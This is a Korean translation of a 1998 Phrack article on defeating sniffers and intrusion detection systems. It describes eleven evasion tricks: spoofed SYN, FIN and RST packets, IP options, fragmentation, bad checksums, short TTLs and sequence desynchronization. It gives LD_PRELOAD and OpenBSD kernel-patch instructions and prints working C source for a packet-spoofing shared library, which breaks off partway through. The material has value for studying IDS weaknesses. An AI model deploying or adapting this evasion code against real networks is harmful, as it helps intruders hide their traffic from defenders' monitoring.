---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12 -------------------------[ Defeating Sniffers and Intrusion Detection Systems --------[ horizon --------[ 번역 : 정철현 ----[ Overview 이 문서의 목적은 sniffer와 intrusion detection system를 공격하는데 사용되는 사용되는 기술들을 증명하는데 있다. 이 문서는 완벽하지 않은 intrusion detect system을 가지고 있는 여러분은 보통의 "hacker" sniffer에 주로 초점을 두고 있다.그러나, 이 문서에 나오는 방법이나 코드 들은 여러분의 packet을 ID system을 통과시키는 좋은 시발점이 될 것이다. IDS에 대한 공격방법을 좀더 구체적으로 알고 싶다면 다음 사이트를 참조하라. http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp 이 문서에서 구현한 것들 이외에도 수많은 방법들이 있다. 나는 좀더 주목되고 복잡한 공 격으로 확장될 것을 기대하며 몇몇의 일반적인 방법들을 골랐었다. 이것들을구현한 뒤에 NAI문서를 검토하여 적당한 공격방법들과 관련지어 보았다. 이 문서에서 언급되어진 결점들의 근본원인은 대부분의 sniffer와 intrusion detect system 이 실제의 네트웍상의 통신을 하는 machine들만큼 강한 TCP/IP의 구현을 가지고 있지 않 다는 것이다. 많은 sniffer와 IDS는 BPF, DLPI나 SOCK_PACKET등과 같은datalink계층의 access의 형태를 사용한다. Sniffer는 datalink계층의 모든 frame을받으면서 그 frame이 어 떻게 해석될지에 대한 어떠한 단서도 받지 않는다. Sniffer는 모든 packet을 해석하고 수신 측 machine의 kernel이 그것을 실행할 것인지를 추측하는 역할을 한다. 운이 좋게도 95%정 도는 packet이 제대로 되고 커널의 TCP/IP stack은 예상대로 행동한다. 우리가 주목해야 할 것은 그 나머지 5%의 경우이다. 이 문서는 3개의 부분으로 나뉜다: 채택된 기술의 개괄, 구현과 사용의 설명 그리고 코드이 다. 가능하면 코드는 어느정도 portable한 형태로 구현되었다: 당신의 보통의 client program 에 "install"할 수 있는 connect()부분에 치우친 shared library. 이 shared library는 대부분 의 Unix에서 사용되는 raw socket을 TCP packet으로 만드는 작업에 사용한다. 그러나, 언 급된 몇몇의 공격들은 raw socket으로 구현하기에 너무 복잡하기때문에 단순한 OpenBSD kernel patch가 제공되었다. 나는 완성되어지면 rhino9의 web site에 올려질 리눅스를 위한 kernel patch 보충작업을 하고 있다. rhine9 web site는 http://www.rhino9.ml.org/ 이다. ----[ Section 1. The Tricks 첫번째 trick은 단지 sniffer를 속이기위해 고안되었고, ID system에는 어떠한 영향도 미치 지 않을 것이다. 두번째 trick은 intrusion detection system에 영향을 미치기에 충분히 발전 되었을 것이다. Sniffer Specific Ataacks ------------------------ 1. Sniffer Design - One Host Design 첫번째 기술은 굉장히 단순하지만, 많은 sniffer설계의 이점을 가지고 있다. 몇몇의 hacker sniffer는 하나의 connection만을 허용하고 그 connection이 끊기거나 internal time out에 이 르기 전까지는 다른 connection은 무시해 버리는 방식에 따라 설계되었다. 이러한 방식으로 설계된 sniffer는 memory사용과 CPU time과는 거리가 멀게 low profile을 갖는다. 그러나, 그들은 분명히 얻을수 있는 상당량의 data를 잃는다. 이것은 우리의 packet이 잡히는것을 방지하는 쉬운 방법을 준다: 접속전에 우리가 접속하려는 port와 같은 port로 존재하지 않는 host로부터의 spoof된 SYN packet을 보낸다. 따라서 sniffer는 SYN packet을 보고 그것이 listening상태이면 internal state를 그와 관련된 모든 packet을 monitor하는 것으로 만든다. 그리고 접속이 이루어지면, sniffer는 fake host를 보고있는 것이기 때문에 우리의 SYN을 무시하게 된다. host가 time out되면, 초기의 SYN packet이 보내진지 너무 오래 되었기 떄 문에 우리의 접속은 log되지 않는다. 2. Sniffer Design - IP options 다음의 기술은 알려지지 않은 sniffer의 coding practice에 의존한다. 만약 당신이 일명 based-off of the original linsniffer라는 hacker sniffer의 code를 보게된다면 다음과 같은 structure를 보게 될 것이다. struct etherpacket { etherheader eh; ipheader ip; tcpheader tcp; char data[8192]; }; Sniffer는 datalink interface의 packet을 읽을 것이고, 그것을 그 structre에 집어넣어 분석 하기에 쉽게 할 것이다. 이것은 거의 모든 경우에 괜찮을 것이다. 그러나, 이러한 접근은 많 은 가정을 만든다.: IP header가 20byte이고 TCP header가 20byte라고 가정한다. 만약 당신 이 option의 40byte를 가진 IP packet을 보낸다면, sniffer는 당신의 TCP header에 대한 IP option을 볼 것이고 당신의 packet을 완전히 잘못 해석할 것이다. 만약 sniffer가 당신의 TCP header를 잘못 다루고 IP header를 잘 다루었다면 그것은 당신에게 그렇게 큰 피해를 주지는 않는다. 그럴경우, 당신은 sniffer가 log하게될 data의 나머지 40byte를 얻게 된다. 나 는 sysctl로 처리하기 쉬운 OpenBSD kernel의 필수 IP option들을 구현 하였다. 3. Insertion - FIN and RST spoofing - Invalid Sequence Numbers 이 기술은, 당신의 대표적인 sniffer가 현재 진행중인 connection의 특정 세부내용의 경로를 지키지 않을것이라는 사실을 이용한다. TCP connection에서, sequence number는 얼마나 많 은 data가 보내졌는지와 보내진 data가 올바로 순서를 지켰는지 결정하는 control mechanism으로 사용된다. 대부분의 sniffer는 진행중인 TCP connection에서 sequence number의 순서를 지키지 않는다. 이것은 커널은 무시해 버리지만 sniffer는 유효하게 해석 할 packet을 data stream에 넣을 수 있게 한다. 이것에 근거해서 우리가 처음 사용하게 될 기술은 spoof된 FIN 과 RST packet이다. FIN 과 RST는 TCP packet안의 control flag로 FIN은 connection의 한쪽 부분을 위한 shutdown sequence의 초기화를 가르키고, RST는 connection이 바로 끝나야 함을 가르킨다. 만약 우리가 커널이 예상하는 sequence number 와 동떨어진 sequence number와 FIN 또는 RST를 가진 packet을 보낸다면 kernel은 이것 을 무시해 버릴것이다. 그러나, sniffer는 정당한 connection 종료 요구나 connection 재설정 으로 간주하고 log를 그만둘 것이다. TCP stack이 RST를 받는 과정에서 sequence number를 정확히 확인하지 않는다는 사실 은 흥미롭다. 이것은 명백하게 denial of service attacke에게 커다란 가능성을 제공한다. 특 히, 나는 Digital Unix 4.0d가 RST packet의 sequence number를 확인하지 않고 connection 을 마칠것이라는 사실을 알았다. 4. Insertion - Data Spoofing - Invalid Sequence Numbers 이 기술은 대표적인 sniffer가 TCP connection의 sequence number를 따르지 않는다는 사 실을 이용한 위의 기술들의 또다른 이형이다. 많은 sniffer들은 얼마만큼의 data를 capture한 뒤에 connetion의 log를 중단할 data capture length를 가지고 있다. 만약 우리가 connection 초기화 후에 많은 양의 data를 틀린 sequence number로 보낸다면 이 packet들은 kernel에 의해 버려질 것이다. 그러나, sniffer는 잠재적으로 모든 data를 유효한 정보로 log 할 것이 다. 이것이 NAI문서에 언급된 "tcp-7" attack의 대충의 구현이다. IDS/Sniffer Attack; ------------------ 이상의 기술들은 대부분의 sniffer에서 놀랍게도 잘 작동하지만, 대부분의 IDS에서는 많은 영향을 미치지 않는다. 다음의 6가지 기술들은 좀더 복잡하지만, 더 복잡한 network를 감시 하는데 좋은 시발점이 된다. 5. Evasion - IP Fragmentation IP Fragmentation(분열)은 packet을 물리적인 network interface의 maximun transmission unit(MTU:최대 전송 단위)에 맞게 다중 datagram으로 나누게 해준다. 대표적으로, TCP는 mtu를 알고, IP 계층에서 분열이 필요한 packet은 보내지 않는다. 우리는 이것을 sniffer와 IDS를 혼란시키는데 이용할 수 있다. Fragmentation과 관련된 몇가지 가능한 공격들이 있 지만, 우리는 단순한것만 다루기로 하겠다. 우리는 TCP packet을 packet의 첫 8byte에는 TCP header를 32byte에는 나마지 data를 담은 packet 여러개로 나누어 보낼수 있다. 이것 은 network analysis tool을 속이는 우리들의 능력에 도움을 준다. 첫째로, sniffer와 IDS는 분열과 재조합에 적당해야 한다. 둘째로, 분열된 TCP header를 다루는데도 적합해야 한다. 이 단순한 기술이 여러분의 packet을 대부분의 datalink 계층의 network monitor를 통과시 키기에 충분하다는 것이 알려져있다. 이것은 내가 Open BSD kernel의 sysctl로 구현하려고 선택한 또다른공격이다. 이 기술은 대부분의 sniffer를 완벽히 통과하는 능력에서 아주 강력하다. 그러나, 그것은 당 신의 packet이 당신과 target사이의 모든 filter를 통과하는지 확인하기 위해서 약간의 실험 이 필요하다. 이러한 packet filter들은 UDP/TCP header가 고쳐진것 같거나, 지나치게 작은 것 같으면 이 분열된 packet을 무시해 버린다. 이 문서의 구현은 여러분의 machine이 보낼 분열의 크기로의 적당한 제어를 제공한다. 이것은 NAI문서에 묘사되어있는 "frag-1"과 "frag-2" 공격의 구현을 제공할 것이다. 6. Desynchronization - Post Connection SYN 만약 우리가 지능적인 sniffer나 ID system을 속이려고 시도한다면 TCP sequence number 를 지켜야 한다는 것은 당연한 사실일 것이다. 이 기술을 위해, kernel이 신뢰하고 있는 actual sequence number로부터 sniffer와 IDS를 비동기화 시키도록 시도해야 한다. 벗어난 sequence number를 갖지만 target host에서 받아들여지는 필요한 기술을 가지고 있는 post connection SYN packet을 우리의 data stream 속에 넣어 보냄으로 이 공격을 구현할 것이 다. 그러나, target host는 이미 승인된 connection을 참고하기 때문에 이 SYN packet을 무 시할 것이다. 이 공격의 목적은 sniffer와 IDS를 그것의 sequence number를 새로운 SYN packet으로 다시 동기화 시키는 것이다.그렇게 되면 그것은 다른 sequence number를 기다 리기때문에 원래 stream의 정당한 부분의 어떠한 data도 무시하게 된다. 만약 SYN packet 으로 IDS를 재동기화하는데 성공한다면 새로운 sequence number를 가진 RST packet을 보 내고 그 connection을 끝낼수 있다. 이것은 NAI 문서에 언급된 "tcbc-2" 공격과 관련있다. 7. Desyncronization - Pre Connection SYN 이 주제를 가지고 우리가 실행할 또다른 공격은 진짜connection 이전에 비정상의 TCP checksum을 가진 초기화 SYN을 보내는 것이다. 만약 sniffer가 connection에서 SYN의 subsequence를 무시할 정도로 영리하지만 TCP checksum을 확인할 만큼 영리하지 않다면, 이 공격은 진짜 connection이 일어나기 전에 가짜 sequence number로 sniffer와 IDS를 동기 화 시킬 것이다. 이 공격은 접속요구 이전에 커널에게 socket에 local port를 배당하게 한다. 8. Insertion - FIN and RST spoofing - TCP checksum validation 이 기술은 위에서 언급했던 FIN/RST spoofing기술의 일종이다. 그러나, 이번에는 한가지 주목할 만한 예외를 가지고 FIN과 RST packet을 보내서 정당하게 connection을 종료시길 것이다: TCP checksum이 유효하지 않다. 이러한 packet들은 kernel에 의해서 버려지지만 IDS나 sniffer에게는 인정된다. 이 공격은 packet에 사용할 올바른 sequence number을 결정 하기 위해 kernel의 지원이 필요하다. 이것은 NAI문서의 "insert-2"공격과 비슷하다. 9. Insertion - Invalid Data - TCP checksum validation 이 기술은 올바른 sequence number를 가지지만 틀린 TCP checksum을 가진 data를 삽입 시키는 것으로 위의 data insertion 공격의 일종이다. 이것은 관여하는 kernel은 신용하지 않 는 많은 양의 data를 줌으로써 sniffer와 IDS를 혼란시키고 비동기화 시킬 것이다. 이 공격 은 보내지는 packet의 올바른 sequence number를 얻기위해 kernel의 지원이 필요하다. 이 공격 역시 NAI문서에 있는 "insert-2" 공격과 유사하다. 10. Insertion - FIN and RST Spoofing - Short TTL 만약 IDS나 sniffer가 monitor하고 있는 host로 부터 한 hop이상 떨어진 network에 존재한 다면, IP packet의 TTL field를 이용하여 단순한 공격을 할 수 있다. 이 공격을 위해, 목적 지 host에 닿을 수 있는 최저 TTL을 정하고 그것을 추출한다. 이것은 목적지 host에 도착 하지 않지만 IDS나 sniffer에 도착할 수 있는 packet을 보낼수 있게 한다. 이 공격에서, 몇 개의 FIN과 RST packet을 보낸다. 11. Insertion - Data Spoofing - Short TTL 마지막 공격으로, 올바른 sequence number와 TCP checksum을 가진 8k의 data를 보낸다. 그러나, 목적지 호스트에 도착하기에는 TTL이 한hop이상 작다. Summary ------- 이런 모든 공격들은 sniffer와 IDS를 혼란시키는 일을 한다. 여기에 우리가 그것들은 실행 하여 공격한 순서가 있다: Attack 1 - One Host Sniffer Design. FAKEHOST -> TARGET SYN Attack 7 - Pre-connect Desynchronization Attempt. REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number) Kernel Activity REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel) Attack 6 - Post-connect Desynchronization Attempt. REALHOST -> TARGET SYN (Arbitrary Seq Number X) REALHOST -> TARGET SYN (Seq Number X+1) Attack 4 - Data Spoofing - Invalid Sequence Numbers REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2) Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers REALHOST -> TARGET FIN (Seq Number X+2+8192) REALHOST -> TARGET FIN (Seq Number X+3+8192) REALHOST -> TARGET RST (Seq Number X+4+8192) REALHOST -> TARGET RST (Seq Number X+5+8192) Attack 11 - Data Spoofing - TTL * REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y) Attack 10 - FIN/RST Spoofing - TTL * REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192) * REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192) * REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192) * REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192) Attack 9 - Data Spoofing - Checksum * REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z) Attack 8 - FIN/RST Spoofing - Checksum * REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192) * REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192) * REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192) * REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192) *표시한 공격은 올바른 sequence number를 결정하는 kernel의 지원이 필요하다. 덧붙여, 이것은 kernel의 지원없이도 datalink 계층의 sniffer를 조작하여 가능하지만, 분열의 재조합 과 진짜 connection을 따르기 위해 몇개의 확인이 필요하기 때문에 code가 확연히 더 복잡 해 진다. 사용자는 자신의 실행성향에 따라 선택할 수 있으며 sequence number는 경우에 따라 조절될 수 있다. ----[ Section 2 - Implementation and Usage 이 기술들을 구현할때 나의 첫번째 goal은 보통의 system에서 가능하면 적은 변화를 주는 것이었다. 나는 기술들을 두가지 부류로 구분해야 했다: 사용자 상황에서 실행할 수 있는 공 격과 어느정도 kernel에 의한 공격. 나의 두번째 goal은 OpenBSD와 Linux외에 다른 Unix 환경에서 맞게 portable하게 userland를 만드는 것이었다. Userland 공격은 halflife의 P51-08문서의 가장 유용한 기술인 공유 library redirection을 사용하여 구현되었다. 아래 소개되는 첫번째 프로그램인 congestant.c는 loader가 처음으로 link시키도록 사용자가 요구하는 공유 library이다. 이것은 몇몇의 unix에서 LD_PRELOAD 환경변수를 이용하여 이루어진다. 이 기술에 대해 더 많은 자료를 원한다면 halflife의 원문 을 참고하라. 공유 library는 connect symbol을 정의하므로 프로그램 실행의 loading상태동안 libc(혹은 libsocket)으로부터 보통의 connect function을 선점한다. 따라서, 기능적으로 보통의 BSD socket을 이용하는 대부분의 client program을 사용하는 기술을 사용할 수 있어야 한다. OpenBSD는 공유 library redirection을 사용하지 못하게 한다.(여러분이 libc이외의 오래된 symbol을 dlsym하려고 시도할때 당신이 선점한 function의 pointer를 돌려준다.) 그러나, 이 것은 connect() syscall을 직접 호출할 수 있으므로 문제가 아니다. 이 공유 library는 몇몇의 명확한 결점을 가지고있지만, 여러분은 원하는 것을 얻을 수 있 다. non-blocking connect call을 하거나 RAW나 datalink 계층을 access하는 프로그램으로 는 올바로 작용하지 않을 것이다. 더군다나, 그것은 TCP socket을 사용하기 위해 고안되었 고 socket의 type을 결정하는 kernel의 지원이 없기 때문에 UDP connection에서 TCP공격 을 하려고 할 것이다. 이러한 지원은 OpenBSD에서만 구현된다. 그러나, 이것은 무시되어지 는 소수의 packet을 보내기 때문에 큰 결점은 아니다. 공유 library의 또다른 결점은 틀린 sequence number를 나타내기 위해서 불시에 sequence number를 얻는데 있다. 이러한 사실 때문에 정당한 sequence number를 얻게되어 stream을 다시 동기화 시키지 않은 소수의 가 능성이 있다. 그러나 이것은 극단적인 경우이다. Makefile은 공유library를 동반한다. 당신의 host에 맞게 수정하고 source file에 들어가서 libc.so의 복사본을 가리키게 하면 모든 준비가 끝난다. code는 OpenBSD 2.3, 2.4, Debian Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5 와 Solrais 2.6에서 시험하였다. 여러분은 library를 다음과 같이 사용할 수 있다. # export LD_PRELOAD=./congestion.so # export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS" # telnet www.blah.com library는 그 시점에서 여러분이 실행하는 프로그램의 어떠한 connect에서 "warp"될 것이 고 비밀리에 어떠한 protection을 제공할 것이다. 여러분은 CONGCONF라는 환경변수를 정 의함으로 프로그램을 제어할 수 있다. 다음과 같은 공격의 한정된 리스트에 comma(,)를 사 용할 수 있다. DEBUG: Show debugging information OH: Do the One Host Design Attack SC: Spoof a SYN prior to the connect with a bad TCP checksum. SS: Spoof a SYN after the connection in a desynchronization attempt. DS: Insert 8k of data with bad sequence numbers. FS: Spoof FIN packets with bad sequence numbers. RS: Spoof RST packets with bad sequence numbers. DC: Insert 8k of data with bad TCP checksums. (needs kernel support) FC: Spoof FIN packets with bad TCP checksums. (needs kernel support) RC: Spoof RST packets with bad TCP checksums. (needs kernel support) DT: Insert 8k of data with short TTLs. (needs kernel support) FT: Spoof FIN packets with short TTLs. (needs kernel support) RT: Spoof RST packets with short TTLs. (needs kernel support) Kernel Support -------------- OpenBSD kernel patch들은 위에 언급된 몇가지의 기술들을 용이하게 한다. 이러한 patch 들은 2.4판에 대해 만들어 졌다. 나는 3개의 sysctl변수와 1개의 새로운 system call을 kernel에 추가시켰다. 이 3개의 sysctl변수는 다음과 같다. net.inet.ip.fraghackhead (integer) net.inet.ip.fraghackbody (integer) net.inet.ip.optionshack (integer) 새로운 system call은 getsockinfo()이고 system call번호 242이다. 3개의 sysctl은 machine으로 부터 들어오는 모든 나가는 IP packet의 특성을 수정하는데 사용될 수 있다. fraghackhead변수는 밖으로 나가는 IP datagram의 새로운 mtu를 말하며 fraghackbody가 정의되지 않는한 모든 나가는 datagram에 적용된다. 이런 경우, packet의 첫 조각의 mtu는 fraghackhead에서 읽고 모든 다음의 조각들의 mtu는 fraghackbody에서 읽는다. 이것은 당신의 machine의 모든 traffic에서 당신이 정의한 어떠한 크기로도 분열할 수 있게 한다. 두 변수로 나눈 이유는 첫 조각에 모든 TCP/UDP header가 들어있게 하고 나머지 조각은 8이나 16byte가 되게 하기 위해서 이다. 이방법은, 여러분의 분열된 packet 이, header의 수정을 막는 filtering router를 통과할 수 있게 한다. optionshake sysctl은 나 가는 모든 packet들의 IP option의 필수 40byte를 NULL로 만들수 있게 한다. 나는 이러한 raw socket을 통해 보내는 packet에 어떠한 영향도 주지않도록 이러한 제어 를 구현하였다. 이것의 논리는 우리의 공격 packet은 분열되지 않고 IP option도 가지고 있 지 않다는 것이다. 이러한 sysctl들을 사용하는 것은 간단하다: fraghack변수는 byte수를 정의해 주고(혹은 0 으로 만들고), optionshak는 0이나 1로 만들면 된다. 여기에 사용예가 있다. # sysctl -w net.inet.ip.optionshack=1 # 40 bytes added to header # sysctl -w net.inet.ip.fraghackhead=80 # 20 + 40 + 20 = full protocol header # sysctl -w net.inet.ip.fraghackbody=68 # 20 + 40 + 8 = smallest possible frag fraghack option을 주의깊게 다루는 것이 매우 중요하다. 여러분이 극심한 분열을 정할때, kernel이 packet의 header를 저장하는 메모리를 빠른속도로 잡아먹게 된다. 만약 메모리 사 용이 너무 높으면 sendto()가 no buffer space error를 반환하는것을 알게 될 것이다. 만약 여러분이 telnet이나 ssh같은 작은 packet을 사용하는 프로그램에 의존한다면, 28이나 28/36 을 사용하면 좋을 것이다. 그러나, ftp나 rcp같은 큰 packet을 사용하는 프로그램을 사용한 다면 200과 같은 큰 숫자로 fraghackbody를 높여야 한다. getsockinfo의 system call은 userland program에 의해 socket이 TCP socket인지 결정하고 상대로부터 받게될 것으로 기대되는 sequence number같이 다음 전송될 packet의 다음 sequence number를 위한 kernel의 질의를 위해 필요하다.이것은 userland program에게 옳 은 sequence number를 가지지만 short TTL이나 bad TCP checksum의 다른 결점을 가지 는 것에 둔 공격에게는 구현을 허용한다. kernel Patch Installation ------------------------- 여기에 내가 kernel patch를 사용하여 설치한 순서가 있다. Disclaimer : 나는 숙련된 kernel programmer가 아니기 때문에 조금 어설프더라도 너무 화 내지는 마라. 나의 machine에서의 시험은 잘 이루어 졌지만 이 patch를 설치함으로 인해 일 어나는 나쁜점들이 있다는 것을 알아야 한다. 수행오류나 다른 어려움을 겪을지도 모르겠다. 하지만 어떠한 어려움도 없다면 재미가 없지 않을까? Step 1. Apply the netinet.patch to /usr/src/sys/netinet/ Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it Step 4. Apply kern.patch to /usr/src/sys/kern/ Step 5. cd /usr/src/sys/kern; make Step 6. Apply sys.patch to /usr/src/sys/sys/ Step 7. cd into your kernel build directory (/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make. Step 8. cp bsd /bsd, reboot, and cross your fingers. :> ----[ The Code <++> congestant/Makefile # OpenBSD LDPRE=-Bshareable LDPOST= OPTS=-DKERNELSUPPORT # Linux #LDPRE=-Bshareable #LDPOST=-ldl #OPTS= # Solaris #LDPRE=-G #LDPOST=-ldl #OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42 congestant.so: congestant.o ld ${LDPRE} -o congestant.so congestant.o ${LDPOST} congestant.o: congestant.c gcc ${OPTS} -fPIC -c congestant.c clean: rm -f congestant.o congestant.so <--> <++> congestant/congestant.c /* * congestant.c - demonstration of sniffer/ID defeating techniques * * by horizon * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor * * openbsd doesn't let us do shared lib redirection, so we implement the * connect system call directly. Also, the kernel support for certain attacks * is only implemented in openbsd. When I finish the linux support, it will * be available at http://www.rhino9.ml.org * * This whole thing is a conditionally compiling nightmare. :> * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1, * Solaris 2.6, Debian Linux, and the glibc Debian Linux */ /* The path to our libc. (libsocket under Solaris) */ /* You don't need this if you are running OpenBSD */ /* #define LIB_PATH "/usr/lib/libsocket.so" */ #define LIB_PATH "/lib/libc-2.0.7.so" /* #define LIB_PATH "/usr/lib/libc.so" */ /* The source of our initial spoofed SYN in the One Host Design attack */ /* This has to be some host that will survive any outbound packet filters */ #define FAKEHOST "42.42.42.42" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if __linux__ #include #endif #include struct cong_config { int one_host_attack; int fin_seq; int rst_seq; int syn_seq; int data_seq; int data_chk; int fin_chk; int rst_chk; int syn_chk; int data_ttl; int fin_ttl; int rst_ttl; int ttl; } cong_config; int cong_init=0; int cong_debug=0; long cong_ttl_cache=0; int cong_ttl=0; /* If this is not openbsd, then we will use the connect symbol from libc */ /* otherwise, we will use syscall(SYS_connect, ...) */ #ifndef __OpenBSD__ #if __GLIBC__ == 2 int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL; #else int (*cong_connect)(int, const struct sockaddr *, int)=NULL; #endif #endif /* not openbsd */ #define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x)); /* define our own headers so its easier to port. use cong_ to avoid any * potential symbol name collisions */ struct cong_ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct cong_icmp_header /* this is really an echo */ { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_checksum; unsigned short icmp_id; unsigned short icmp_seq; unsigned long icmp_timestamp; }; struct cong_tcp_header { unsigned short th_sport; /* source port */ unsigned short th_dport; /* destination port */ unsigned int th_seq; /* sequence number */ unsigned int th_ack; /* acknowledgement number */ #if BYTE_ORDER == LITTLE_ENDIAN unsigned char th_x2:4, /* (unused) */ th_off:4; /* data offset */ #endif #if BYTE_ORDER == BIG_ENDIAN unsigned char th_off:4, /* data offset */ th_x2:4; /* (unused) */ #endif unsigned char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 unsigned short th_win; /* window */ unsigned short th_sum; /* checksum */ unsigned short th_urp; /* urgent pointer */ }; struct cong_pseudo_header { unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; }; int cong_checksum(unsigned short* data, int length) { register int nleft=length; register unsigned short *w = data; register int sum=0; unsigned short answer=0; while (nleft>1) { sum+=*w++; nleft-=2; } if (nleft==1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum+=answer; } sum=(sum>>16) + (sum & 0xffff); sum +=(sum>>16); answer=~sum; return answer; } #define PHLEN (sizeof (struct cong_pseudo_header)) #define IHLEN (sizeof (struct cong_ip_header)) #define ICMPLEN (sizeof (struct cong_icmp_header)) #define THLEN (sizeof (struct cong_tcp_header)) /* Utility routine for the ttl attack. Sends an icmp echo */ void cong_send_icmp(long source, long dest, int seq, int id, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt; struct cong_ip_header *ip; struct cong_icmp_header *icmp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN)); ip=(struct cong_ip_header *)pkt; icmp=(struct cong_icmp_header *)(pkt+IHLEN); ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+ICMPLEN); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_ICMP ;//ICMP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; icmp->icmp_type=8; icmp->icmp_seq=htons(seq); icmp->icmp_id=htons(id); icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN); if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(pkt); close(sock); } /* Our main worker routine. sends a TCP packet */ void cong_send_tcp(long source, long dest,short int sport, short int dport, long seq, long ack, int flags, char *data, int dlen, int cksum, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt,*phtcp; struct cong_pseudo_header *ph; struct cong_ip_header *ip; struct cong_tcp_header *tcp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; sa.sin_port = dport; phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen)); pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen)); ph=(struct cong_pseudo_header *)phtcp; tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN); ip=(struct cong_ip_header *)pkt; ph->saddr=source; ph->daddr=dest; ph->mbz=0; ph->ptcl=IPPROTO_TCP; ph->tcpl=htons(THLEN + dlen); tcp->th_sport=sport; tcp->th_dport=dport; tcp->th_seq=seq; tcp->th_ack=ack; tcp->th_off=THLEN/4; tcp->th_flags=flags; if (ack) tcp->th_flags|=TH_ACK; tcp->th_win=htons(16384); memcpy(&(phtcp[PHLEN+THLEN]),data,dlen); tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum; ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+THLEN+dlen); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_TCP ;//TCP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN); memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen); if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(phtcp); free(pkt); close(sock); } /* Utility routine for data insertion attacks */ void cong_send_data(long source, long dest,short int sport, short int dport, long seq, long ack, int chk, int ttl) { char data[1024]; int i,j; for (i=0;i<8;i++) { for (j=0;j<1024;data[j++]=random()); cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024), htonl(ack), TH_PUSH, data, 1024, chk, ttl); } } /* Utility routine for the ttl attack - potentially unreliable */ /* This could be rewritten to look for the icmp ttl exceeded and count * the number of packets it receives, thus going much quicker. */ int cong_find_ttl(long source, long dest) { int sock; long timestamp; struct timeval tv,tvwait; int ttl=0,result=255; char buffer[8192]; int bread; fd_set fds; struct cong_ip_header *ip; struct cong_icmp_header *icmp; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { perror("socket"); exit(1); } tvwait.tv_sec=0; tvwait.tv_usec=500; 